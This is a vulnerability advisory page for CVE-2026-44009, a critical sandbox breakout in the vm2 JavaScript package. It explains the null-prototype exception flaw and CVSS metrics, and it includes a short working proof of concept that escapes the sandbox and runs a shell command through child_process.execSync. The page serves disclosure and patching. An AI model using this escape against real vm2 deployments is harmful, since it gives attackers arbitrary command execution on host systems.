Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-44009 — vm2

🔴 CVSS 9.5 — Critical ⚠️ Exploit Public CWE-668 OSV
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

vm2 has Sandbox Breakout Through Null Proto Exception

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

In handleException due to `// SECURITY (post-GHSA-mpf8 hardening): use from (not ensureThis) exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host Function` object.

PoC

```js

const {VM} = require("vm2");

const vm = new VM();

console.log(vm.run(`

const o = {__proto__: null};

try {

throw o;

} catch (e) {

e.f = Buffer.prototype.inspect

o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');

}

`));

```

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-44009 is classified as CWE-668: Exposure of Resource to Wrong Sphere. A resource is made reachable from a context that should not have access to it.

Affected software

CVE-2026-44009 is recorded against 1 package.

  • vm2

Timeline and source

Published on 8 May 2026 and last revised on 6 August 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
github.com (Web)

Other advisories for this package

vm2 has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-668: Exposure of Resource to Wrong Sphere) in other software:

CVE-2026-44009 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-668
Public Exploit ⚠️ Yes
Source OSV
Published 2026-05-08
Updated 2026-08-20
Modified 2026-08-06
Fix URL N/A

Affected Packages

Software From version Fixed in
vm2

Similar Threats

Exploit Protection

Are you running vm2?

CVE-2026-44009 carries CVSS 9.5 Critical rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-44009 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026